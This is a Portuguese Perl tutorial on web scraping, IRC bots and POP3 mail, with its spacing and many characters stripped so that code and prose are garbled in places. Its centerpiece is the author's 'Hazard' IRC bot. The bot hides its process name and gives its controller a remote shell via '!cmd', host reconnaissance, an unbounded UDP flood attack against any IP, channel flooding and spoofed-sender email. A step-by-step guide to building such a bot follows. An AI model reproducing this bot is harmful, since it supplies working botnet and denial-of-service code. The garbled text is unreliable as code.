2VerTwitterdealguem
3VernewsdoBotecoUnix
4VernovidadesdeExploitsnoMilw0rm
5Procurarnowikipediaporalgumapalavra
6VerWhoisdealgumdominio
7BaixarvideosdoYoutube
8VerTemperaturadotempoemcidadesBrasileiras
Este tipo de programa uma mo na roda para fazer algumas tarefas chatas,quando voc
trabalhacomPerlvocpodefazerprogramasparalevarascrianasparacasa,levarolixonarua
edeletarspamsdoseuemailetc...hehehe
vamosintenderumpocooqueestespiderfaz

Primeiracoisaquenossoprogramafazpegarumaentradaumdgitodousuriolembralano
comeodonossoLivroSTDINpadrodeentrada...
ousuriodigitaumaentradaoprogramavaianalisaraentradaatravsdanossafuno
subentrada(){
while(<STDIN>){
if($_=~/[08]{1}/){return($_);}
print"digitenumerodeopovlida\n";
}
}
Chamandoafunodeforma
chomp(my$escolha=entrada());
print"vocedigitou$escolhaOK\n";
ousejaseousuriodigitaumnumerode0at8tudoOKseeledigitarumalfanumricoouum
numerodedoisdgitos,qualquercoisaquefogedolimitepostopelaanossaregexoprograma
nos retorna a tela a pergunta que pega a entrada e no retorna a string para varivel
$escolha.
Exemplodeusodonossoprograma
digitamosai8
programavaiatribuirescolhaovalor8elogovamosparaacondiodecdigodetemperatura
detempo...
if($escolhaeq8){
print"8VerTemperaturadotempoemcidadesBrasileiras\n";

print"Digitenomedacidadeparavertemperatura\ncidadedeveestarsemoacentoex:
saopaulo\n";
chomp(my$local=<STDIN>);$local=~s//_/g;
my$url="http://www1.folha.uol.com.br/folha/tempo/br$local.shtml";&spyder($url);
open(RES,"<","resposta.txt");
my@texto=<RES>;close(RES);
foreach(@texto){
if($_=~m/^<p><b>Temperatura:<\/b>(.*?)<\/p>/){
my$graus="$1";
print"Local:$local\n";
print"Temperatura:$graus\n\n";retorna();
}
}
}

depoisdigitamossaopaulo,Assimvarivel$localatribuinossaentrada,logo depoisusamos
uma reges singela para trocar espao em branco pela string _ underline,depois arrumamos
nossaURLadicionandonossastringmodificadapelaregexqueseriasao_paulo,Bemissoseria
umaformadepostarumFormulriodeformarpidaclaroqueseestecdigofossefeitodeforma
maisinteligenteesempressairiausaromduloURIparapostaroformcomPOSTouGETmas
issononosvematonaagora,depoiseupassoumexemplocomusodaURI.

continuandochamamosnossafunospyderpassandonossaURL
subspyder(){
unlink("resposta.txt");
my@page=@_;my$site=$page[0];my$ua=newLWP::UserAgent;
$ua>agent('Mozilla/5.0 (X11; U; NetBSD i386; enUS; rv:1.8.1.12) Gecko/20080301
Firefox/2.0.0.12');
my$pedido1=newHTTP::RequestGET=>"$site";
my $resposta1 = $ua>request($pedido1) or die "Erro no site scanner\n"; my $res1 =
$resposta1>content;
open(OUT,">>resposta.txt");printOUT"$res1\n";close(OUT);
}
Repare que esta funo abre a pgina da URL que passada e salva sua source no arquivo
resposta.txtparaassimmaistardepassarporumfiltroderegeparaextrairapenasosdados
quenoscabe.
Nosso programa de temperatura abre resposta.txt e faz o filtro com regex para extrair
temperatura...
open(RES,"<","resposta.txt");
my@texto=<RES>;close(RES);
foreach(@texto){
if($_=~m/^<p><b>Temperatura:<\/b>(.*?)<\/p>/){
my$graus="$1";
print"Local:$local\n";
print"Temperatura:$graus\n\n";retorna();
}
}
Perfeitoacabeideexplicarumafunodonossospider.Aindafaltaexplicarmuitasfunes
poremnovouexplicartodaspoisoassuntodasfunesmuitoredundante,continuando...
Sockets,LWP,URI,Mechanize...vaidarmuitoassuntoaquiainda...

quantoaomduloURIvideoexemplousodeumsitepopularGoogle
#!/usr/bin/perlwusestrict;
useLWP5.64;
useURI;
my$browser=LWP::UserAgent>new;
my$url=URI>new('http://www.google.com/search');
#definimososformulriosparaserprenchidos
$url>query_form(
'h1'=>'pt',
'num'=>'100',
'q'=>'BotecoUnix',
);
#nocasooFormusamtodoGET
my$response=$browser>get($url);
sumdetalheomtododemandaroformseGETouPOSTvocpodeacharnocdigofontedo
mesmoexemploummtodoPOST
<formmethod="POST"action="mandar.cgi">
casofosseissoteriamosquefazer

my$response=$browser>post($url);
Bem este mdulo pode ser muito til imagine fazer sesso de AUTH em pginas,prencher
fomulriosdeformaautomtica,claroqueexisteCaptchaimpossveldebular,atagorano
vinenhumalgoritmoqueinterpreteasletrascoloridasequebradasdocaptcha...
BempessoaldoPerlusamaisWWW::MechanizequandosefaladeSpiderspoiseletemmuitas
fcilidadesvoudemostrarumexemplodeuso
#/usr/bin/perlwusestrict;
useLWP::UserAgent;
my$ua=LWP::UserAgent>new();
my$response=$ua>get("http://search.cpan.org");
die$response>status_lineunless$response>is_success;
print$response>title;
my$html=$response>content;
podemostambmcompletardeformafcilformulrios

my%forms=(
query=>'Cozien',
mode=>'author',
);
my$response=$ua>post("http://search.cpan.org",\%forms);
estemdulomuitopoderosovaleapenaestudarelenoCPAN...
casovocestejaboiandoounovouexplicaroABCdenovodeformamaissimplesedireta
vamosfazerumacoisasimplesprimeirobaixarocontedodeumapagina
usandolwp::simpledepoissalvaroseucontedoemumarquivotexto
useLWP::Simple;
my$resultado=get('http://www.pagina_boba.com/index.html');

open(texto,">>resultado.txt");printtexto$resultado;close(texto);
#vocepodefazeramesmacoisausandooutromodulocomoexemplo
#usandoIO::Socket...
my$socket=IO::Socket::INET>new(
PeerAddr=>"www.wiki.com",
PeerPort=>"80",
Timeout=>"7",
Proto=>"tcp"
);
die"Naofoipossivelcriarasocket\n"unless$socket;
if($socket){
print$socket"GET/index.htmlHTTP/1.0\r\n\r\n";
while(<$socket>){
print"$_";
}}
close($socket);
esteprogramabaixaohtmldapaginaeimprimenatelaoseucodigo
fonteassimcomoolwp::simple..
outroexemplo
vamosusarLWP::UserAgenteoHTTP::Request
useLWP::UserAgent;
print"pegandotemperaturaBrasilbyC00L3R\n";
print"qualestatovocequerveratemperatura\?exsao_paulo\n";
my$local=<STDIN>;chomp$local;
my$pagina="http://www1.folha.uol.com.br/folha/tempo/br$local.shtml";
$agent=newLWP::UserAgent;
$request=HTTP::Request>new('GET',$pagina);
$result=$agent>request($request);
@result=$result>content();
open(RES,">","temperatura.txt");
printRES@result;close(RES);open(RES,"<","temperatura.txt");
@texto=<RES>;close(RES);unlink("temperatura.txt");
foreach(@texto){
if($_=~m/^<p><b>Temperatura:<\/b>(.*?)<\/p>/){
my$graus="$1";
print"Local:$local\n";
print"Temperatura:$graus\n";}
}
aquitemosumprogramaumpocomaiscomplexoqueosoutroselenaosoh
baixaasourcedapaginacomosalvaemumTXTeretiraatemperatura
usandoregexecolocaonumerodegrausemumavarivel
Outroprogramaquemostraousodeoutromodulobacanade"Web"emperlo
html::LinkExtorqueseriaomoduloqueextraioslinksdeumapaginaexemplo
useHTML::LinkExtor;
my$file=shift;
my$p=HTML::LinkExtor>new;
$p>parse_file($file);
my@links=$p>links;
foreach(@links){
print'Type:',shift@$_,"\n";
while(my($name,$val)=splice(@$_,0,2)){

print"$name>$val\n";
}
}
Damosumapaginaparaeleextraircomosdados:
<!DOCTYPEHTMLPUBLIC"//IETF//DTDHTML//EN">
<html>
<head><title>TestHTMLPage</title>
<linkrel=stylesheettype='text/css'href='style.css'></head>
<bodybackground="back.gif">
<h1ALIGN=center>testHTMLPage</h1>
<p>Thisisthefirstparagraph.
Itcontainsa<ahref="http://www.perl.com/">link</a></p>
<p><fontcolor="#0000FF">This</font>isthe2ndparagraph.
Itcontainsanimage<imgsrc="test.gif"></p>
<p>Hereisanimageusedasalink<br>
<ahref="http://www.pm.org"><imgsrc="pm.gif"
lowsrc="pmsmall.gif"></a></p>
</body>
</html>
vejasuasada

Type:link
href>style.css
Type:body
background>back.gif
Type:a
href>http://www.perl.com/
Type:img
src>test.gif
Type:a
href>http://www.pm.org
Type:img
src>pm.gif
lowsrc>pmsmall.gif

eleextraiuoslinksemostrouotipodelink"type"
sevocquiserapenasoslinkdo"type:a"scriptficaria
useHTML::LinkExtor;
my$file=shift;
my$p=HTML::LinkExtor>new(\&check);
$p>parse_file($file);
my@links;
foreach(@links){
print'Type:',shift@$_,"\n";
while(my($name,$val)=splice(@$_,0,2)){
print"$name>$val\n";
}
}
subcheck{
push@links,[@_]if$_[0]eq'a';

}
Outromodulobacanadetrabalharo"HTML::TokeParser"comelevocpode
retirarapenasquevocquersemusoderegexouPOGvejaoexemplo
useHTML::TokeParser;
my$file=shift;
my$p=HTML::TokeParser>new($file);
while($p>get_tag('h1')){
print$p>get_text(),"\n";
}
damoscomando"perlprog.plindex.html"sendoqueocontedodaindextem
<!DOCTYPEHTMLPUBLIC"//IETF//DTDHTML//EN">
<html>
<head><title>TestHTMLPage</title>
</head>
<body>
<h1>Thefirstmajoritem</h1>
<h2>Section1.1</h2>
<p>Sometext<p>
<h2>Section1.2</h2>
<h3>Section1.2.1</h3>
<p>blah</p>
<h3>Section1.2.2</h3>
<p>blah</p>
<h1>Anothermajorheader</h1>
<h2>Section2.1</h2>
<h3>Section2.1.1</h3>
<h3>Section2.1.2</h3>
<h2>Section2.2</h2>
</body>
</html>
vejaasadadoresultadodoprograma
Cdigo:Selecionartudo
Thefirstmajoritem
Anothermajorheader
ousejaeleretirouoquetavaentreastags"h1"bemsimplesdeusar
assunto deste captulo esta bem Rock and roll estude com pacincia e bote em prtica os
exemplosseno,noadiantaapenasler...
ParanoficarmuitonesteassuntodeWeb+regex+Formsetc..vamosestudarumpocoai,Ousode
SocketsvoltadoparaoIRC,jqueomesmotemsidofontedetrocadeconhecimentosnomundo
Geek,nerdedehacking...exemplodissotudoafreenode.netondepodemosvercentenasde
usuriosquerendotrocarinformaosobreassuntosespecficosemsalasdebatepapo...
VoupassarumasdicasiniciaisparafazerseuprprioIRCBotdeformarpidacomSocket
primeirovideumexemplo

#!/usr/bin/perl
######################################################
#VerydangerousIRCBOT"HAZARD[BOT]"
#License:BSD
#MADEINBRAZIL
#site:BotecoUnix.com.br
#author:Cooler_
######################################################
#tocompileit"perlname_bot.pl"andwritequestionsandgoodJob;)
#inIRCserverswithprotectionsto"fakeclientssockets"thisbotnotrunning
#Butitestthisbotin20serverandrunonall,perfecttohackingandtest
#ThanksC00k15Cr3Wandanyfriends
#_Mlk_,drak3,ircfriends...thanks...
#
##############################ModulesCPAN,installthistorun
useIO::Socket::INET;
useHTTP::Request;
useLWP::UserAgent;
useWWW::Wikipedia;
##############################takeInputs
#print"Whatyournickman\?\n";
#chomp($master=<STDIN>);
#print"whatyourCMD,candontput0\?\n";
#chomp($cmd=<STDIN>);
#print"whatyourid\?\n";
#chomp($id=<STDIN>);
#print"whatIRCserverforbotin\?\n";
#chomp($server=<STDIN>);
#print"whatchanel\?\n";
#chomp($canale=<STDIN>);
#print"whatport\?ex6667\n";
#chomp($porta=<STDIN>);
$master="Cooler_";
$cmd="x";
$id="334";
$server="irc.agitoirc.com.br";
$canale="#Red_Eye";
$porta="6667";
##############################Configs
my$name="Hazard2";
my$processo='postfix';
my$nick="[Hazard2]B0t";
my$identify="Chacy_06";
#############################ForkprocessclonetoconectIRC
my$pid=fork;
exitif$pid;
$0="$processo"."\0"x16;
###############################Constructorconectortosocket
my$sk=IO::Socket::INET>new(PeerAddr=>"$server",
PeerPort=>"$porta",
Proto=>"tcp")ordie"erronaconexao\n";
$sk>autoflush(1);
print$sk"NICK$nick\r\n";
print$sk"USER$identify8*:$name\r\n";
print$sk"JOIN$canale\r\n";
print$sk"PRIVMSG$canale:#3Hazard_bot#5CommandElitebyC00L3R\r\n";
print$sk"PRIVMSG$canale:#3forcod3rs#5BotecoUnix#3pontocomponto#5br\r\n";
###############################regextoreadircchat
while($line=<$sk>){

$line=~s/\r\n$//;
if($line=~/^PING\:(.*)/)
{
print"PONG:$1";
print$sk"PONG:$1";
}
################################ play this in irc "!versao now" and bot to speak your
version
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!versao(.*?)$/){
stampa($sk,"PRIVMSG$canale:#3Hazard_Bot#7hellversion#3beta");
stampa($sk,"PRIVMSG$canale:#3CodedByC00L3R,#5sourcebased#3inpbot");
stampa($sk, "PRIVMSG $canale :#5 LosTC0d3r5 t34m #3 thanks #5
voidpointer,mlk,datalock,b4rtb0y#3,Vadio,juhZand
st4t1c");
stampa($sk,"PRIVMSG$canale:#3Thanks#5PERLMONKS#3andMulher#5melanciais#7
verySexygirl#3andBozo");
}
#################################playthisonchanelwithboton"/msgbotname!fala
hello"
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!fala(.*?)$/){
my$fala=$4;
stampa($sk,"PRIVMSG$canale:#7$fala");
}
################################wikifuck
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!wiki(.*?)$/){
my$word=$4;
stampa($sk,"PRIVMSG$canale:^C3Hazard_Bot^C7procurandonowikipediaptpor^C3$word
");
my$wiki=WWW::Wikipedia>new();
$wiki=WWW::Wikipedia>new(language=>'pt');
my$result=$wiki>search($word);
my@list=$result>text();
foreach(@list){
my$x=$_;
stampa($sk,"PRIVMSG$canale:^C7$x");}
#}else{
#stampa($sk,"PRIVMSG$canale:^C7ERRORnofoipossivelachar$word");}
}

#################################playthisonchanelwithboton"!cmdunamea"isa
shell
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!cmd(.*?)$/){
if(my$pid=fork){
waitpid($pid,0);
}else{
if(fork){
exit;
}else{
my$mal=$4;
@shell=`$mal`;
foreach(@shell){
stampa($sk,"PRIVMSG$canale:#7$_");}}}
}

#################################playthisonchanelwithboton"!ajudanow"tohelping
menu
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!ajuda(.*?)$/){
stampa($sk,"PRIVMSG$canale:#7==Hazardbot==comandosdeajuda");
stampa($sk,"PRIVMSG$canale:#3!botscanbugdork,#5!udp,#3!novidades,#5!tempo,!cmd
");
stampa($sk,"PRIVMSG$canale:#5!flood,#3!alopra,#5!saia,#3!cor,#5!hospedeiro,!fala");
stampa($sk, "PRIVMSG $canale : #5 !mail #3 <subject> #5 <sender> #3 <recipient> #5
<message>");
}
#################################playthisonchanelwithboton"!hospedeironow"to
infoyoursystem
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!hospedeiro(.*?)$/){
my$tempo=`uptime`;my$local=`pwd`;my$estatos=`id`;my@who=`who`;my@hd=`dfh`;
stampa($sk,"PRIVMSG$canale:#7==HazardbotCOMMANDOELiTe==InfoHospedeiro");
stampa($sk,"PRIVMSG$canale:#3Hora:$tempo");
stampa($sk,"PRIVMSG$canale:#5Sistemaoperacional:$^O#3Operador:$master");
stampa($sk,"PRIVMSG$canale:#3local:$local#5id:$estatos");
stampa($sk,"PRIVMSG$canale:Quemestausandoamaquinadohospedeiro");
foreach(@who){
stampa($sk,"PRIVMSG$canale:$_");}
stampa($sk,"PRIVMSG$canale:Vendoestatosdodiscorigido");
foreach(@hd){
stampa($sk,"PRIVMSG$canale:$_");}
stampa($sk,"PRIVMSG$canale:#3terminiodosestatosdecontrole");
}
#################################playthisonchanelwithboton"!novidadesexploits"to
takenewsformilw0rm
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!novidades(.*?)$/){
if(my$pid=fork){
waitpid($pid,0);
}else{
if(fork){
exit;
}else{
stampa($sk,"PRIVMSG$canale:#5senhor#7$master#5irei#3procurar#5exploits#3novos
");
stampa($sk,"PRIVMSG$canale:#5procurando#3por#5exploits#3novos#5nomilw0rm");
@sploits=();$version=1.0;$getit='http://milw0rm.com/rss.php';
$agent=newLWP::UserAgent;$request=HTTP::Request>new('GET',$getit);
$result=$agent>request($request);$getit=~s/.*\///;
@result=$result>content();open(RES,">","mille.txt");
printRES@result;close(RES);open(RES,"<","mille.txt");
@inhalt=<RES>;close(RES);unlink("mille.txt");
foreach$shit(@inhalt){$shit=~tr/<//;$shit=~tr/>//;
$shit=~tr/\///;$shit=~s/milw0rm.com//ig;
if($shit=~m/title/i){$shit=~s/title//ig;push(@sploits,"$shit");
}}foreach(@sploits){
stampa($sk,"PRIVMSG$canale:#7$_");}
stampa($sk,"PRIVMSG$canale:#5terminada#3busca#5por#3novidades#5deexploits#3
senhor#7$master");
}}
}
#################################playthisonchanelwithboton"!cornick"floodmsg
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!cor(.*?)$/){
my$teste=$4;
for(my$conta=0;$conta<=12;$conta++){

stampa($sk,"PRIVMSG$canale:#$contaCala#$contaa#$contaboca$teste");
}}
#################################playthisonchanelwithboton"!floodnick"toflood
msg
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!flood(.*?)$/){
my$otario=$4;
stampa($sk,"PRIVMSG$canale:#3sim#5senhor#7$master#3ireiofender#5o$otario");
for(my$conta=0;$conta<=2;$conta++){
stampa($sk,"PRIVMSG$canale:#3Calaaboca#5$otario");
stampa($sk,"PRIVMSG$canale:#5Vocenaohe#3caveira");
}}
#################################playthisonchanelwithboton"!udpipporttime"to
floodudpatack
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!udp(.*?)(.*?)(.*?)$/){
if(my$pid=fork){
waitpid($pid,0);
}else{
if(fork){
exit;
}else{
my$targets=$4;
my$portss=$5;
my$time=$6;
stampa($sk,"PRIVMSG$canale:#7==HazardbotCOMMANDOELiTe==FLooDUDP");
stampa($sk, "PRIVMSG $canale : #3 Iniciando #5 ataque #3 UDP #5 Flood #3 senhor #7
$master");
stampa($sk,"PRIVMSG$canale:#3IP:$4#5porta:$5#3tempo:$6#5");
socket(crazy,PF_INET,SOCK_DGRAM,17);
$iaddr=inet_aton("$targets");
packets:
for(;;){
$size=$randx$randx$rand;
send(crazy,0,$size,sockaddr_in($portss,$iaddr));}
stampa($sk,"PRIVMSG$canale:#5acabando#3com#5ohost#3senhor");
randpackets:
for(;;){
$size=$randx$randx$rand;
$port=int(rand65000)+1;
send(crazy,0,$size,sockaddr_in($portss,$iaddr));}
}}
stampa($sk,"PRIVMSG$canale:#5ataque#3UDP#5Flood#3Terminado#5senhor#7$master
");
}
#################################playthisonchanelwithboton"!alopranow"toflood
all
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!alopra(.*?)$/){
my$otario=$4;
for(my$conta=0;$conta<=2;$conta++){
stampa($sk,"PRIVMSG$canale:#3que#5merda#3este#5canal");
stampa($sk,"PRIVMSG$canale:#5este#3lugar#5fede#3sohinseto");
}}
#################################playthisonchanelwithboton"!temposao_paulo"see
thetemperatureforBrazilstates
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!tempo(.*?)$/){
if(my$pid=fork){
waitpid($pid,0);

}else{
if(fork){
exit;
}else{
my$local=$4;
stampa($sk,"PRIVMSG$canale:#7==HazardbotCOMMANDOELiTe==TemperaturaBrasil");
stampa($sk,"PRIVMSG$canale:#3Vendo#5Temperatura#3senhor#7$master");
my$pagina="http://www1.folha.uol.com.br/folha/tempo/br$local.shtml";
$agent=newLWP::UserAgent;
$request=HTTP::Request>new('GET',$pagina);
$result=$agent>request($request);
@result=$result>content();
open(RES,">","temperatura.txt");
printRES@result;close(RES);open(RES,"<","temperatura.txt");
@texto=<RES>;close(RES);unlink("temperatura.txt");
foreach(@texto){
if($_=~m/^<p><b>Temperatura:<\/b>(.*?)<\/p>/){
my$graus="$1";
stampa($sk,"PRIVMSG$canale:#3Local:#5$local");
stampa($sk,"PRIVMSG$canale:#3Temperatura:#5$graus");}}
stampa($sk,"PRIVMSG$canale:#3procura#5terminada");
}}
}
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!saia(.*?)$/){
stampa($sk,"PRIVMSG$canale:#3Hazard_Bot#5Saindo#3Senhor#7$master");
stampa($sk,"QUIT");
}
#################################playthisonchanelwithboton"!mailsubjectsender
recipient"tosendemail
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!mail(.*?)(.*?)(.*?)(.*?)/){
$subject=$4;
$sender=$5;
$recipient=$6;
@corpo=$7;
$mailtype="contenttype:text/html";
$sendmail='/usr/sbin/sendmail';
open(SENDMAIL,"|$sendmailt");
printSENDMAIL"$mailtype\n";
printSENDMAIL"Subject:$subject\n";
printSENDMAIL"From:$sender\n";
printSENDMAIL"To:$recipient\n\n";
printSENDMAIL"@corpo\n\n";
close(SENDMAIL);
stampa($sk,"PRIVMSG$canale:#3Hazard_Bot$print1,mailenviadopara$recipiend");
}
}
primeiracoisaseriacarregarosmodulos
#!/usr/bin/perl
##############################Modulos
useAcme::Morse;
useIO::Socket::INET;
useHTTP::Request;
useLWP::UserAgent;

explicandocadaum
*Acme::Morse=paraescondernossasourceassimminguemvaicopiar,Cuidadoquandovoc
compilasourcenotemcomovoltaratrasficatudoemcodigomorse!entosaddestemodulo
quandovocquiseresconderosource,ousejafaaumacopiaparavoceoutravocdeixapara
usarcom"Acme"assimseusamigosnovoverasource;)
*IO::Socket::INET=vamosusaloparaconectarnoIRCcomumsimplesconstructor
*HTTP::Request=umavesconectadonoIRCvamosusarestemoduloparafazerfunesaparte
do BOT,funes que preciso se conectar em algum host httpd para pegar informaes por
exemplo...
*LWP::UserAgent=vamosusarelenamesmametadoHTTP::Request
Segundopassopegandovariveis
ComonemtodousuriosabeprogramaremPerlquetalpegarmosasvariveis
print"qualheoseunick\?\n";
my$master=<STDIN>;chomp$master;
print"qualheoseuCMD\?\n";
my$cmd=<STDIN>;chomp$cmd;
print"qualheoseuid\?\n";
my$id=<STDIN>;chomp$id;
print"qualserverdesejaentra\?\n";
my$server=<STDIN>;chomp$server;
print"qualcanaldesejaentrar\?\n";
my$canale=<STDIN>;chomp$canale;
print"qualporta\?ex6667\n";
my$porta=<STDIN>;chomp$porta;

TerceiropassooProcesso
my$name="nome_do_bot";
my$processo='nome_processo';
my$nick="nick_no_irc";
my$identify="identificacao";
my$pid=fork;
exitif$pid;
$0="$processo"."\0"x16;#umhexbem"POG"
QuartoPassooconstructor"ETAJOESficocommedodestaPARTEneh:!:"
Esta parte a mais importante num "IRC BOT" sem ela seu BOT simplesmente no
conecta!
###############################INicioConstructorconectordasocket
my$sk=IO::Socket::INET>new(PeerAddr=>"$server",
PeerPort=>"$porta",
Proto=>"tcp")ordie"erronaconexao\n";
$sk>autoflush(1);
print$sk"NICK$nick\r\n";
print$sk"USER$identify8*:$name\r\n";
print$sk"JOIN$canale\r\n";

print$sk"PRIVMSG$canale:Acabeideentrarmestre\r\n";
print$sk"PRIVMSG$canale:botecounixpontocompontobr\r\n";
estavarivel"$sk"seriaavarivelquechamao"socket::Inet"
Quintopasso"Queinicieacriatividade:lol:"
NestepassovaiprecisardeumloopparaoBotficarlendolinhasladoirc
erespondera"PING",respondendoapacketscom"PONG"paranodarmuitonacara
queumBotvamosvercomoficaria
while($line=<$sk>){
$line=~s/\r\n$//;
if($line=~/^PING\:(.*)/)
{
print"PONG:$1";
print$sk"PONG:$1";
}
Simplesefacil,atenosemestaregexseubotnovairolarperfeitamente
$line=~s/\r\n$//;

nomudeelaOk!
ProntotemosumBotnoirceagoraquecolocarumafuno?
Simplesvodarumexemplodefunoestamesmafunoestanomeuartigode"regexsimples"
porem
estamodificadaparaserusadacomBOT...
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!tempo(.*?)$/){
if(my$pid=fork){
waitpid($pid,0);
}else{
if(fork){
exit;
}else{
my$local=$4;
stampa($sk, "PRIVMSG $canale : ^C7 ==HazardbotCOMMANDOELiTe== Temperatura
Brasil");
stampa($sk,"PRIVMSG$canale:^C3Vendo^C5Temperatura^C3senhor^C7$master");
my$pagina="http://www1.folha.uol.com.br/folha/tempo/br$local.shtml";
$agent=newLWP::UserAgent;
$request=HTTP::Request>new('GET',$pagina);
$result=$agent>request($request);
@result=$result>content();
open(RES,">","temperatura.txt");
printRES@result;close(RES);open(RES,"<","temperatura.txt");
@texto=<RES>;close(RES);unlink("temperatura.txt");
foreach(@texto){
if($_=~m/^<p><b>Temperatura:<\/b>(.*?)<\/p>/){
my$graus="$1";
stampa($sk,"PRIVMSG$canale:^C3Local:^C5$local");
stampa($sk,"PRIVMSG$canale:^C3Temperatura:^C5$graus");}}
stampa($sk,"PRIVMSG$canale:^C3procura^C5terminada");
}}

}
Entendendoafunobemoquechamaafunoaregex
m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!tempo(.*?)$/)
ousejaobotsvaiexecutarquandoomestredelemandarquandoaexpresso
"!tempo(.*)"
vaiserocomandoparachamaronossafunodetempoexemploousuriodigita
"!temposao_paulo"obotiravoltarcomatemperaturadesopaulonomomento...
estafunotireido"HazardBot"umadosmeusircbots
Masporquevocusouo"fork"?
Simplescomestafunoobotpoderesponderaoutroscomandosenquantoprocessaestafuno
assimeleno"buga"
if(my$pid=fork){
waitpid($pid,0);
}else{
if(fork){
exit;
}else{

Porquevocusouestacoisaloucade"stampa"ondeestaestafuno?
Usandoumafuno"stampa"queseriaapenasparacolarnossoescritono"irc"
demaneiraqueno"bug",vocpodeusar"cor"nassuasfontestambmquenobuga
substampa()
{
if($#_=='1'){
my$sk=$_[0];
print$sk"$_[1]\n";
}else{
print$sk"$_[0]\n";
}}
coloqueestafunonoseubotsevocforusarstampa;)
Mascomovocpegouavarivelusandoregex?
Issoapenasdeolharocdigodafuno"tempo"vocjanota
vejamosumoutroexemplobemsimples
if($line=~m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!soma(.*?)(.*?)$/){
$numero1=$4;
$numero2=$5;
my$soma=$numero1+$numero2;
print$sk("PRIVMSG$chanel:Hazard_Botresultadodasomadeu$soma\r\n");
Reparequeafunosomanousa"stampa";)
eseeuquisersomar3nmeroscomoseriaaregex?

seria
m/^\:$master\!(.*?)\@(.*?)PRIVMSG(.*?):!soma(.*?)(.*?)(.*?)$/
Scoloqueimaisumaexpresso"(.*?)"paraextrairejogarparaalgumavarivel
issoficaria
$numero1=$4;
$numero2=$5;
$numero3=$6;
Ufaterminei,comestasdicasaquisitadasjdaparavocfazerseuprprioIRCBot
Bemdamosumacompletadanoassuntodesocketsespidersdeformadireta,seguindo
asdicasaquipropostasemconjuntocomCPANvocjtemumabaseparafazerseus
programas.
Falandoaidespiders,acabeinofalandodePerltrabalhandocomPOP3eFTP
vou dar dois exemplos singelos do uso dos mesmos,primeiro POP3 ou Post office protocol
version3paraquemnosabeutilizadoparalermensagensdecorreioeletrnicoarmazenadas
numacaixapostaldeumservidorSMTP(simplemailtransferprotocol)queseriaparaenvioe
recebimentodosmesmos,novouexplicarcomofuncionaSMTPePOP3afundomesmoporque
estenonossofco...
vamosaumexemplo
useNet::POP3;
$m=Net::POP3>new('pop.myhost.com');#Nomeoserverpop3
die"nofoipossivelabrirconta"unless$m;
$n=$m>login('sriram','foofoo');#seuloginesenha
print"numerodemensagems:$n\n";
$r_msgs=$m>list();#Retornandoahashmapiada
#iddamensagemetamanho
foreach$msg_id(keys%$r_msgs){
print"Msg$msg_id(",$r_msgs>{$msg_id},"):\n";
print"\n";
#pegandoastresprimeiraslinhasdamensagem
$rl_msg=$m>top($msg_id,3);
$,="\n";
print@$rl_msg;
}
$m>quit();
continuando,voumandaroutroexemplosqueagoraumacoisamaisfortecomusodomesmo
agorasimvocleitor,vaificarsabendoporqueprogramadoresdeoutraslinguagensachamque
programadoresdePerlfazemVoodoo.Imaginenaseguintesituaoseupatrotemmaisde200
emailscomarquivosanexadosdetrabalhosparafazerDownload,Elepedeparavocfazerissoe
agoracasacaiuvaitertrabalhoparamaisde5horas?,claroquenovamosusarPerlparafazer
issoparans,estudandonainternetacabeiachandoumscriptparafazerissovoumostralopara
vocleitor.
#!/usr/bin/perlw#
#LeechPOPsaveONLYattachmentsfromaPOP3mailbox,withfiltering.
#PartoftheLeecharoosuiteforallthosehardtoleechplaces.
#http://disobey.com/d/code/orcontactmorbus@disobey.com.
#

#Thiscodeisfreesoftware;youcanredistributeitand/or
#modifyitunderthesametermsasPerlitself.
usestrict;$|++;
my$VERSION="1.0";
useGetopt::Long;
my%opts;
#makesurewehavethemodulesweneed,elsediepeacefully.
eval("useNet::POP3;");die"[err]Net::POP3notinstalled.\n"if$@;
eval("useMIME::Parser;");die"[err]MIME::Parsernotinstalled.\n"if$@;
#defineourcommandlineflags(longandshortversions).
GetOptions(\%opts,'server|s=s',#thePOP3servertouse.
'username|u=s',#thePOP3usernametouse.
'password|p=s',#thePOP3passwordtouse.
'begin|b=i',#whatmsgnumbertostartat.
);
#attheveryleast,weneedourlogininformation.
die"[err]POP3servermissing,useserverors.\n"unless$opts{server};
die"[err]Usernamemissing,useusernameoru.\n"unless[RETURN]
$opts{username};
die"[err]Passwordmissing,usepasswordorp.\n"unless[RETURN]
$opts{password};
#tryaninitialconnectiontotheserver.
print""x76,"\n";#merelyavisualseperator.
my$conn=Net::POP3>new($opts{server})
ordie"[err]Therewasaproblemconnectingtotheserver.\n";
print"ConnectingtoPOP3serverat$opts{server}.\n";
#andnowthelogininformation.
$conn>login($opts{username},$opts{password})
ordie"[err]Therewasaproblemloggingin(.poplock?credentials?).\n";
print"Connectedsuccessfullyas$opts{username}.\n";
#purdystatsaboutourmailbox.
my($msg_total,$mbox_size)=$conn>popstat();
if($msg_totaleq0){print"Nonewemailsareavailable.\n";exit;}
if($msg_totaleq'0E0'){print"Nonewemailsareavailable.\n";exit;}
print"Youhave$msg_totalmessagestotalling",commify($mbox_size),"k.\n";
#thelistofvalidfileextensions.wedoextensions,not
#mimetypes,becausethey'reeasiertounderstandfrom
#anenduserperspective(noresearchisrequired).
my$valid_exts="jpgjpegpng";
my%msg_ids;#usedtokeeptrackofseenemails.
my$msg_num=$opts{begin}||1;#userspecifiedor1.
#createasubdirectorybasedontoday'sdate.
my($d,$m,$y)=(localtime)[3,4,5];$y+=1900;$m++;
